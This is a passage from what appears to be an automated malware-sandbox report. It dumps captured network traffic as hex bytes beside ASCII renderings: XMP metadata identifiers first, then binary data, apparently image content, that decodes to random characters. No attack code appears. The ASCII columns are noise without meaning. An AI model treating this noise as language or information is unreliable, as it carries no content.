78 6d 70 2e 64 69 64 3a 43 32 33 36 38 32 36 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 
35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 34 41 37 43 43 34 39 45 39 33 
44 46 31 31 39 30 41 43 42 36 35 35 32 42 44 43 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 43 32 37 42 33 38 35 32 32 41 32 30 36 38 31 31 39 32 42 30 41 34 32 34 38 37 30 35 39 42 31 36 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 32 42 30 41 34 43 42 32 45 32 30 36 
38 31 31 38 30 38 33 45 36 44 38 33 31 32 42 31 38 39 37 3c 2f 72 64 66 
Data Ascii: 1192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:C2368266901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.
did:C24A7CC49E93DF1190ACB6552BDCB702</rdf:li> <rdf:li>xmp.did:C27B38522A20681192B0A42487059B16</rdf:li> 
<rdf:li>xmp.did:C2B0A4CB2E2068118083E6D8312B1897</rdf

2022-07-01 09:01:57 UTC 6601 IN Data Raw: 3a 43 44 45 46 42 45 36 42 35 43 32 30 36 38 31 31 38 46 36 32 43 37 34 44 31 32 41 35 36 36 44 39 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 46 31 34 46 33 36 31 39 32 30 36 38 31 
31 42 45 39 43 38 38 46 42 34 46 36 44 39 32 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 43 45 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 31 43 41 33 37 45 38 38 42 45 44 45 31 31 
42 46 33 36 39 32 39 31 35 41 35 41 32 45 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 43 45 32 33 45 33 42 30 30 46 32 30 36 38 31 31 38 37 31 46 39 44 
Data Ascii: :CDEFBE6B5C2068118F62C74D12A566D9</rdf:li> <rdf:li>xmp.did:CDF14F3619206811BE9C88FB4F6D9
25B</rdf:li> <rdf:li>xmp.did:CE0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CE1CA37E88BED
E11BF3692915A5A2ECB</rdf:li> <rdf:li>xmp.did:CE23E3B00F206811871F9D

2022-07-01 09:01:57 UTC 6617 IN Data Raw: 42 37 41 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 31 42 43 
34 38 35 46 34 32 33 36 38 31 31 38 41 36 44 45 41 35 36 41 42 34 43 34 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 33 44 34 43 34 41 43 39 32 30 36 38 31 31 42 30 34 43 44 45 44 46 38 
31 43 38 35 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 34 32 42 45 4
3 33 32 34 32 30 36 38 31 31 38 30 38 33 41 33 34 37 32 44 37 31 32 31 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 
43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: B7A81</rdf:li> <rdf:li>xmp.did:E21BC485F42368118A6DEA56AB4C45D8</rdf:li> <rdf:li>xmp.did:E23D4C4AC
9206811B04CDEDF81C85CB3</rdf:li> <rdf:li>xmp.did:E242BEC3242068118083A3472D712128</rdf:li> <rdf:li>x
mp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>

2022-07-01 09:01:57 UTC 6633 IN Data Raw: 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 43 36 32 33 36 38 42 46 46 42 46 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 
38 31 31 39 31 30 39 43 37 31 43 46 36 44 39 45 32 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 33 42 44 46 32 37 42 35 44 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 
31 31 39 31 30 39 45 35 44 39 43 43 42 38 43 36 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 
Data Ascii: id:F77F1174072068119109C62368BFFBF7</rdf:li> <rdf:li>xmp.did:F77F1174072068119109C71CF6D
9E2A4</rdf:li> <rdf:li>xmp.did:F77F1174072068119109D83BDF27B5D0</rdf:li> <rdf:li>xmp.did:F77F1174072
068119109E5D9CCB8C630</rdf:li> <rdf:li>xmp.did:F77F1174072068119109
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2022-07-01 09:01:57 UTC 6637 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 35 36 35 46 32 32 46 37 32 30 36 38 31 31 38 30 38 33 41 33 
39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 
32 31 32 39 41 30 32 30 39 45 30 31 31 39 31 42 46 42 32 36 36 34 36 41 42 43 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 
35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 
31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 37 41 38 31 34 42 41 31 34 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 
Data Ascii: f:li>xmp.did:F8565F22F72068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:F862129A0209E0119
1BFB26646ABC3DE</rdf:li> <rdf:li>xmp.did:F8627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F
87F117407206811808387A814BA1408</rdf:li> <rdf:li>xmp.did:F87F117407

2022-07-01 09:01:57 UTC 6653 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 33 66 31 32 64 32 37 2d 38 33 38 63 2d 63 35 34 62 2d 62 39 32 36 2d 
30 38 61 38 37 66 35 31 36 65 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 
34 38 32 66 64 38 34 2d 32 35 66 62 2d 36 37 34 61 2d 61 64 33 35 2d 39 30 65 34 30 61 61 62 35 32 65 63 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 34 39 64 64 63 34 62 2d 33 31 63 34 2d 34 66 62 
61 2d 39 62 36 39 2d 30 63 39 38 62 34 38 34 32 62 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 61 34 61 33 39 36 35 63 2d 30 64 64 36 2d 34 30 34 35 2d 61 33 33 65 2d 30 61 32 39 32 37 33 35 61 
61 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: li>xmp.did:a3f12d27-838c-c54b-b926-08a87f516e8d</rdf:li> <rdf:li>xmp.did:a482fd84-25fb-674a-ad35-9
0e40aab52ec</rdf:li> <rdf:li>xmp.did:a49ddc4b-31c4-4fba-9b69-0c98b4842be2</rdf:li> <rdf:li>xmp.did:a4a3965c-0dd6-
4045-a33e-0a292735aa19</rdf:li> <rdf:li>xmp.

2022-07-01 09:01:57 UTC 6669 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 34 66 64 33 33 61 66 2d 38 32 38 62 2d 34 62 37 30 2d 61 33 64 31 
2d 37 37 61 39 65 63 63 62 36 64 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
64 35 31 36 35 35 36 66 2d 66 33 64 36 2d 34 63 31 36 2d 62 32 36 37 2d 30 31 37 36 31 39 33 31 65 65 33 63 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 35 36 35 39 30 35 35 2d 32 35 61 38 2d 34 36 
34 63 2d 61 62 38 34 2d 39 61 32 38 64 32 62 66 38 61 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 64 35 38 30 33 30 30 61 2d 36 31 65 37 2d 63 64 34 66 2d 61 61 33 65 2d 62 34 39 32 62 33 62 32 
35 64 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: :li>xmp.did:d4fd33af-828b-4b70-a3d1-77a9eccb6dbb</rdf:li> <rdf:li>xmp.did:d516556f-f3d6-4c16-b267-
01761931ee3c</rdf:li> <rdf:li>xmp.did:d5659055-25a8-464c-ab84-9a28d2bf8aaf</rdf:li> <rdf:li>xmp.did:d580300a-61e7-
cd4f-aa3e-b492b3b25d66</rdf:li> <rdf:li>xmp

2022-07-01 09:01:57 UTC 6673 IN Data Raw: 2d 61 64 63 35 2d 34 61 62 30 2d 38 39 30 62 2d 65 38 35 30 61 66 61 62 65 38 61 66 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 36 63 36 34 65 61 2d 36 63 65 36 2d 66 35 34 66 2d 62 63 
64 65 2d 35 63 33 66 61 63 34 35 34 66 30 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 65 31 37 31 30 36 38 31 2d 62 62 32 38 2d 34 39 31 38 2d 62 39 33 33 2d 36 62 36 31 37 38 36 65 38 65 65 66 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 31 62 38 33 39 64 31 2d 34 62 66 66 2d 
34 31 62 63 2d 39 31 33 32 2d 37 35 36 32 64 65 63 32 61 33 66 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 65 31 63 63 62 64 65 34 2d 36 39 61 62 2d 61 
Data Ascii: -adc5-4ab0-890b-e850afabe8af</rdf:li> <rdf:li>xmp.did:e16c64ea-6ce6-f54f-bcde-5c3fac454f0d</rdf:li> <rdf:li>
xmp.did:e1710681-bb28-4918-b933-6b61786e8eef</rdf:li> <rdf:li>xmp.did:e1b839d1-4bff-41bc-9132-7562dec2a3f3</rd
f:li> <rdf:li>xmp.did:e1ccbde4-69ab-a

2022-07-01 09:01:57 UTC 6689 IN Data Raw: 19 49 a9 0a f5 af 32 b7 9a 25 5e 4e 5d 2d bd 20 45 89 04 87 d1 fb 70 8b f9 95 46 b9 d0 7f f5 a6 58 f9 79 5e a5 
92 6d e7 21 23 09 19 b5 1d 83 16 6f 34 48 ca 51 53 e5 ff 00 4b b4 d0 e0 26 53 ac d9 10 29 72 a1 58 b8 63 c0 8e 5a a3 ff 
00 12 ce e5 9d cd 18 76 a7 c1 c4 5a 30 4c 68 a8 aa 42 f0 a5 3b d2 58 5d ae 7e f3 36 99 3e f5 26 49 85 60 31 cb 1a 95 2b 
29 15 5e 3c ac cc e7 f0 df 5e 66 49 c9 3f 90 2c 82 ea b6 25 7c b4 f0 55 09 2a 31 d4 7a c5 61 89 e9 7c 73 0a 63 e2 37 e5 
26 90 5d 7c 44 f1 03 b6 f8 6b 63 3e 83 9f 1b 33 6f 96 38 a4 95 64 66 25 56 95 05 8a b1 bd da fe 5e 55 6b 74 ff 00 33 38 
6d 53 db 0b df 7f 13 6d 38 13 de e4 5d 2b c8 91 2e fc eb 49 d6 38 e1 c2 93 c0 03 27 37 51 95 6d e7 f7 79 6f d2 91 cb 2b 
1c 9f 99 5b 51 90 c9 8b 7b d5 53 8d ad fd f4 66 46 12 
Data Ascii: I2%^N]- EpFXy^m!#o4HQSK&S)rXcZvZ0LhB;X]~6>&I`1+)^<^fI?,%|U*1za|sc7&]|Dkc>3o8df%V^Ukt38mS
m8]+.I8'7Qmyo+[Q{SfF

2022-07-01 09:01:57 UTC 6705 IN Data Raw: 56 67 66 57 1c 85 1e 2b bc de ef ea eb 3d e3 ca ce c0 a9 66 b1 40 2e 47 b5 ee b7 e2 57 ab 85 b1 16 e1 fd f4 
7e 20 8e 05 63 34 8b 2f 52 4a ad a3 80 f6 5b f6 79 b4 42 67 42 d2 2c 48 40 bf 8a d7 85 7e 11 a9 6c 3f 51 63 19 65 c1 c9 
90 44 44 62 40 ed ca 80 77 3b fd d4 e6 b5 74 67 55 71 27 58 72 89 72 40 60 c0 70 20 ff 00 99 a9 7d b3 06 fc c0 d7 b6 43 
da 5f 66 a9 9e 9c bd 9c 69 87 a9 a6 ff 00 4e c5 fc ec 81 af c5 75 93 94 71 22 bd 37 4f fa 91 c8 da 5f be 65 8d e2 1f c9 43 
03 4b 16 42 54 bb 29 00 54 56 3b 7f 6f 4f 8c 98 99 91 ac 33 72 4c 85 65 42 fc 6b 4e 1f 6a cf d5 e5 6d 48 ed f9 bb a3 e6 
4b 83 8e 1a 4c 3c 59 55 55 d2 97 15 3f 32 d9 19 fb f6 ff 00 95 df d3 9f d2 c7 1a a4 90 b2 be 86 45 c9 b0 78 f9 bf 87 22 ff 
00 98 8f f0 c9 9f 25 58 35 c5 fb 46 84 52 08 b2 f1 
Data Ascii: VgfW+=f@.GW~ c4/RJ[yBgB,H@~l?QceDDb@w;tgUq'Xrr@`p }C_fiNuq"7O_eCKBT)TV;oO3rLeB
kNjmHKL<YUU?2Ex"%X5FR

2022-07-01 09:01:57 UTC 6713 IN Data Raw: 49 14 56 da cc 18 02 09 03 ba ea 2f e5 ef 5d f1 e9 fe 0e f7 85 0b fe 53 0a 43 2d 88 5c b1 e6 2c 47 da ba ef 3f 
2d fa 5d 8f b6 47 2d 21 8c 44 f2 0a c9 2c 59 20 99 03 9e ea 47 14 dc fd 3b 15 ad e4 b2 ef 16 81 c0 f4 e2 60 ee 28 72 a1 
3b 7b ca 82 30 f8 ee 15 1d 8f 3d 8c 53 93 a8 ca b6 74 ed f8 75 79 92 36 8d 96 40 c8 50 e7 cd d7 91 f1 45 f0 ff 00 94 d5 05
3f 30 f3 02 05 f5 03 e8 d4 c7 0f 66 ff 00 51 6f ce 97 99 0b 92 a6 f5 b9 ab 75 bc b7 16 b6 38 bd ff 00 fc ef 36 c9 7a 32 b6 
34 d3 a4 f5 24 23 8b 55 ae 1f 89 03 a2 78 97 bc ad fd cd 24 6c fd c3 d3 72 cb 01 89 72 60 46 0c a4 1b 24 22 4e 76 99 d7 
f0 1a d9 6f 4e 4e 9e a6 96 29 e1 ac 8b 22 15 67 e6 bc 98 a4 0e 39 fa 8b 23 7f db bb 79 55 72 75 51 b5 6d e0 6d 50 ae 0b 
e5 60 79 bf f1 3f 33 2c 7a 93 96 aa 58 a9 b0 d3 
Data Ascii: IV/]SC-\,G?-]G-!D,Y G;`(r;{0=Stuy6@PE?0fQou86z24$#Ux$lrr`F$"NvoNN)"g9#yUruQmmP`y?3,zX

2022-07-01 09:01:57 UTC 6729 IN Data Raw: 15 7b eb cd f0 e9 b5 98 ca fe 66 01 01 5b 32 df cc 57 6e 96 e9 ee d5 a2 b8 3c c0 1b fa 05 aa ac 6e 86 23 47 
37 c1 68 4a 30 b9 83 78 ae e2 d7 77 7b be 0d 50 64 4f 8b be c2 22 db 1e 18 f2 f8 5c 59 48 3c 3b f1 dd 6f 7f 53 d8 fb 18 
97 6e 9b 70 62 53 39 58 aa c6 d5 b5 ff 00 97 13 c4 bc cc d2 3f 72 de 6d 26 db b2 24 ce c8 95 18 7e 4f a8 cc 59 94 b5 a2 
44 2b 5c 79 23 6b 7b 92 5a cf 7f 3f 8b 59 67 6e 92 dd d0 90 62 e2 7b bf 63 f9 bf 0d 58 82 09 65 e0 78 8a ad 8f 20 ed 12 fe 
57 70 8f a4 67 4e 3d 3e 61 4a da f4 f7 7e ce 9f 6d 1b 9e 3c 8c d1 c5 2c 61 05 aa 89 75 59 47 77 e6 53 bb cd a8 bf 50 61 
1c 25 0f ba 65 fc ef e1 f5 01 2b 51 e2 53 08 fc 36 5e 5e 7f 16 8e db 67 58 c5 d1 34 47 80 60 d1 b1 aa 90 2e e6 51 fa f7 e8 
0f b7 49 22 f3 0e b9 71 23 2f 2d b1 f0 e5 54 2e 54 
Data Ascii: {f[2Wn<n#G7hJ0xw{PdO"\YH<;oSnpbS9X?rm&$~OYD+\y#k{Z?Ygnb{cXex WpgN=>aJ~m<,auYGw
SPa%e+QS6^^gX4G`.QI"q#/-T.T

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 195 of 280



2022-07-01 09:01:57 UTC 6745 IN Data Raw: 5a 7e 75 be 5f 26 b4 6d b2 6e 3b 3c e9 b8 c5 21 68 55 81 72 af 70 70 08 ea c5 d3 ef 3f 2b 79 7d fd 0a 0f 96 98 
c9 77 61 9d 8e 0b d0 7c ce e3 67 fe 2a 24 53 f9 66 e1 72 36 e1 7c 6c d4 26 44 59 8b bb 3e 36 c3 7a 26 3b b3 c0 a0 b5 a6 
9c 26 76 bf bd cd df 6f 16 9c 6f 19 83 75 c1 96 7c d9 6e dc 18 51 a2 02 84 05 23 a9 ee f7 79 93 bd 77 9f 42 ee be a6 ca 
9b 25 64 48 a2 8f a5 7f 4d d6 ac 48 76 ea fb 4a f7 b4 87 75 f5 06 46 7c cf 97 9d d3 69 8a 04 14 51 70 1f 45 57 b9 ad b4 
59 66 09 92 85 c6 cd ca dc ec ea 7b f5 4d c3 c5 91 6d 72 6d 2d d9 8f 86 96 41 1b 4f 30 5c 68 43 1f ac 17 3a e9 58 1e 8f 
c2 db 57 af ba 11 2e 42 ad 5a 24 a0 45 f6 8e b3 af ec a7 eb eb 99 61 ef 99 98 0e 46 3d aa a4 8b 94 a8 21 a8 6e b5 fc 56 
e9 f6 e3 eb 3c cd d6 36 c6 3d 35 8e 7e 0d 4e 04 7b 4d 
Data Ascii: Z~u_&mn;<!hUrpp?+y}wa|g*$Sfr6|l&DY>6z&;&voou|nQ#ywB%dHMHvJuF|iQpEWYf{Mmrm-AO0\hC:XW.BZ$E
aF=!nV<6=5~N{M

2022-07-01 09:01:57 UTC 6752 IN Data Raw: 82 c3 6b 13 60 cc 0b 48 f6 f5 72 e5 5c f2 00 b7 90 e9 d9 de a1 7d 57 92 b0 64 cb 10 6e 8c ca 90 5c c7 89 95 
59 ae 4c 79 7f cc 8a 45 e5 74 7f c3 ea 7b ba ac c2 9f 37 2d 17 c3 0f 07 ea 39 a9 7e 3c c2 d5 11 f4 be 1b 7f 0b ca dc 9a 89 
6c c9 f7 7c f9 b2 b9 31 f2 b0 c4 2a cc dc 55 9c 33 c3 d6 41 4e eb 75 95 e1 d7 43 c3 89 23 09 88 f3 07 a4 2b 58 b8 57 96 
8a d2 f9 ec 6f 7b 5e 7f 79 68 a2 44 20 66 07 37 7a dc a9 96 3f e2 a9 24 00 16 a3 f7 6d e3 0a 28 a4 c8 81 1c 65 05 78 9e 
d7 51 73 77 5a 96 16 66 b9 ae e9 d9 a5 5b 2c b8 d9 57 2b ab 9a dc 8a ad f4 35 bd 40 d6 f2 de cd e3 6f e5 fc 7a 64 7d 34 
90 cb f9 60 8b 21 ea 84 21 41 ba cb ae ea 49 cb c9 72 bf e2 f7 6f ee fe 1e 95 6e 5b 7e 7c 30 c9 16 db 1b 45 59 13 8a ab 
95 16 dc ac 9d 59 2e e4 e4 4f fc ba 76 21 09 4f 2d 18 
Data Ascii: k`Hr\}Wdn\YLyEt{7-9~<l|1*U3ANuC#+XWo{^yhD f7z?$m(exQswZf[,W+5@ozd}4`!!AIron[~|0EYY.Ov!O-

2022-07-01 09:01:57 UTC 6768 IN Data Raw: 19 96 ac c7 f8 4b dd 55 8f 55 d9 ec 9b 72 6c 58 dc 90 97 f7 ea 8d 76 23 b4 9f 4d 55 67 4a 5b 76 81 cc 64 c7 2e
3b 40 5a 94 1d 4a f5 2d f8 51 2e be 4f 3b a2 68 b3 8e 99 72 2e 24 85 5b 27 18 07 57 62 28 6a 2d 49 a3 45 f1 7c 5d cd 08 
77 28 76 dc 61 24 6a c1 fa a1 a5 90 10 c4 87 6f 9c e7 c4 fc ba cb 33 16 1c 77 39 db 73 08 88 8c a0 49 05 40 51 df 58 23 
f0 b7 97 9a c4 f2 eb d5 9d 9e da 19 0c d2 d9 d9 63 8d 57 4c 97 cb 4f c9 77 f7 fc bf fc 4f e6 73 d1 55 1d 5c 80 2c 6d ca 7d 
3f 44 af 22 8a 7c 77 c9 95 4b 64 17 60 28 ad c0 10 a1 59 46 87 c8 c4 dc 16 63 b8 ab 08 a4 8d 4f 21 17 23 03 fc 26 44 6f 
fd cd 05 b4 cf 95 b6 ac a3 22 c0 8e dd 54 71 c4 73 72 fc de 37 37 2f eb 69 cf e6 32 81 6c 9c 73 1c b0 95 0c 62 1d ea 0e 
f7 37 89 b5 e5 e7 9b cb dc c8 c8 b1 ca 8e 5b 13 2f 
Data Ascii: KUUrlXv#MUgJ[vd.;@ZJ-Q.O;hr.$['Wb(j-IE|]w(va$jo3w9sI@QX#cWLOwOsU\,m}?D"|wKd`(YFcO!#&Do"T
qsr77/i2lsb7[/

2022-07-01 09:01:57 UTC 6784 IN Data Raw: 0a 0f e9 e2 f1 b6 8a ce 9e 6d ef 25 15 17 9a 34 0a d4 f1 38 e5 76 fb dd df 75 75 af 37 26 2d a2 36 8d 7e 6e 42 
28 32 84 e2 22 1e 1e cf 1e b0 e0 88 a3 70 ca 67 ec ff 00 2d 5b e9 d5 f0 d3 3c 8f 66 27 f2 53 55 f6 f1 ef 50 f8 91 e0 e4 64 
ca 32 1d e6 68 16 ad 1a 35 2e 6f 2d 7f cb f1 eb 5e 4e 5e 3e 2c 67 25 eb 1c d5 25 45 fd ef 2a 2f 8b e5 f9 ed d2 ad 95 70 f6 
ec c5 cf 91 84 31 4c 09 8e 40 5a b7 57 99 19 0a f8 be 2e 4d 23 de f7 03 b8 65 be 43 77 a4 63 45 1e c1 e0 1e ef 2e b5 44 
1e 64 82 31 7f 2d 07 55 b1 bb 77 d3 ee ff 00 d3 ae 8e 52 e3 23 a1 e1 8a f0 5f 0f c7 55 18 5b c4 b9 f2 24 b2 c8 10 86 a0 
04 50 30 f6 f5 3c 5f 77 fb 9a ab db 37 4f f4 b7 92 27 66 31 34 97 0a 21 21 6e f0 b3 47 77 ee eb 9c c1 8e c2 58 d1 6a 2d a2 
8a 76 d7 c5 d9 cd de d7 45 d9 b6 79 f0 62 4c 
Data Ascii: m%48vuu7&-6~nB(2"pg-[<f'SUPd2h5.o-^N^>,g%%E*/p1L@ZW.M#eCwcE.Dd1-UwR#_U[$P0<_w7O'f14!!nGw
Xj-vEybL

2022-07-01 09:01:57 UTC 6792 IN Data Raw: b7 ed 31 c7 16 56 06 4c 0e 49 24 95 0b 5f a5 82 fc 9b be 1f 0e bc 7c 7c 25 71 8c 23 75 25 79 64 26 d6 8d 90 
99 a3 c9 e5 36 b5 ac b7 f7 be c6 a9 9b 23 17 7a 11 4b 96 7a 86 2f 97 2a 22 97 01 fc f1 d5 5b e5 cd fc 29 3c 71 fe aa 5b 
87 db b0 19 42 71 d4 9c 1d d7 dc c5 79 ea c0 64 6f 73 48 e2 f5 b6 cd b8 a3 ca f9 3d 39 83 8e 59 41 02 c3 dd 48 b8 37 77 
c4 d7 59 a7 f8 b0 2e 4a 99 63 65 92 2a 54 b2 10 c0 0f 7a df 0e a7 b7 ef f6 f3 6f dd 91 9f 64 5e 96 51 72 4c 4c 4d b4 03 99 
0a 37 e1 b5 dd df b9 6e a7 30 b0 f6 a7 94 6d b9 f1 4b b3 6e 24 db d4 8d d9 12 4e 36 f7 1e f8 d6 ef fd 3d 5a 4d ae da 58 
84 9b 72 e1 56 ea c3 0c 99 7d ac 7f 2d fe ca bf 2d 41 4d 2f 70 47 a7 d1 ef 55 df a6 36 3e 9e 44 f3 46 a3 f2 b2 4a 42 5c 38 
95 5e e7 c3 1f 57 4f b7 a7 54 c7 90 ba 97 11 83 70 
Data Ascii: 1VLI$_||%q#u%yd&6#zKz/*"[)<q[BqydosH=9YAH7wY.Jce*Tzod^QrLLM7n0mKn$N6=ZMXrV}--AM/pGU6>DFJ
B\8^WOTp

2022-07-01 09:01:57 UTC 6808 IN Data Raw: c9 16 e1 26 46 e3 87 1f cf 80 53 22 36 35 b6 ef e3 47 e6 85 fc 5f cb d2 6c 66 9b 70 c3 9e 69 23 0b 06 38 b5 48 
3c 39 8d af 17 da f7 7b 9a e4 2b e4 93 3b a4 6b 20 5f 28 86 cb 06 7e ee 5c bf 0d 0d e4 94 32 aa 2b 17 8f 26 93 ba 1a 3b 
d2 ae 87 e7 31 eb 0f 2a ab f2 83 c0 0d 1b b6 e5 65 43 2b d6 11 2a 98 7a 72 28 1d e5 07 b6 3f 7f 58 66 b2 ed d1 21 82 e1 
03 10 6f 04 32 dd fc b9 74 77 a5 67 c7 dd f3 18 3c 04 38 8e 52 4d c6 8a d6 f2 b7 bb cd a0 c5 b8 7d ac 52 4f 62 c8 05 d4 
b7 56 29 45 25 e4 70 08 d0 75 63 cc da d4 ff 00 5b 0d 5d 9a 22 45 5e a5 59 68 79 4d cb f6 b5 47 b7 18 b7 5b ef b4 5c 86 
c6 27 b1 81 f1 46 35 2f 93 8f 25 c2 46 37 09 2a 5d 89 e3 5f 15 7e 2d 3d d9 b6 c1 ba e3 bb 6d 2e 17 2a 2a b3 47 5e f0 1f 
c9 f1 5f ee 6a fb b8 a3 99 d5 ec cc 78 f2 72 26 35 31 
Data Ascii: &FS"65G_lfpi#8H<9{+;k _(~\2+&;1*eC+*zr(?Xf!o2twg<8RM}RObV)E%puc[]"E^YhyMG[\'F5/%F7*]_~-=
m.**G^_jxr&51

2022-07-01 09:01:57 UTC 6824 IN Data Raw: 19 38 41 55 22 e9 89 5a d6 78 d4 52 d3 cc f7 4b 1f 75 5a db 74 cf 6c 8c b1 68 e2 99 95 dd 8d c4 2f 2d 38 2d 
21 f0 ad bd d4 d3 5d b7 05 23 37 43 93 23 48 f5 63 71 ed af 83 a7 dd 5f b3 ad 1b be 60 db dd 01 17 3b 82 40 5f a0 7b 4f 
97 49 19 9a 4f cb 02 e7 5d 6d c7 ed d1 32 05 46 3f 5e 94 da 2e 86 de 94 8d 40 3e d3 da c7 cc d7 68 68 bd 41 8f 39 6b 49 
e5 e0 41 e0 41 fa f4 b9 b7 28 15 10 64 82 a1 d4 b1 35 ee af d2 ce de 6d 60 b0 61 66 a8 30 49 1b a8 e3 ec e1 a5 c4 0b a9 
94 36 bd ea bd d8 f1 a6 a9 bb 42 cc 48 e2 07 d1 c4 eb 4e 46 e1 99 90 4a 61 a4 4c 48 e5 59 1e c2 4f 87 be 9d 3b 7e de 
83 8e 6c 4c 4e 0f 2c 61 6b ec e3 fa ab ad 1b d6 68 10 c7 91 b6 b2 c9 10 34 91 b8 12 ac 7b b7 44 eb 76 af 1c 2b e6 2f 25 
c1 f1 f4 50 5e 47 45 2c 39 8a eb 88 ea a4 13 63 7a 88 ca b0 
Data Ascii: 8AU"ZxRKuZtlh/-8-!]#7C#Hcq_`;@_{OIO]m2F?^.@>hhA9kIAA(d5m`af0I6BHNFJaLHYO;~lLN,akh4{Dv+/%
P^GE,9cz

2022-07-01 09:01:57 UTC 6832 IN Data Raw: 45 1e 04 dd 38 32 a2 cb 89 94 30 78 c3 0f b2 e9 28 56 57 d7 41 f5 57 fb 2a f8 ab f9 bd 8a 57 9e 31 c4 c0 e6 ad 
4f f2 1b 95 5f e0 e5 d7 2b 78 9a 16 68 dc 15 65 24 15 61 42 08 fa 46 b6 37 1b 38 13 6e 4c 28 65 16 c7 3b eb 0f bc bf c4 
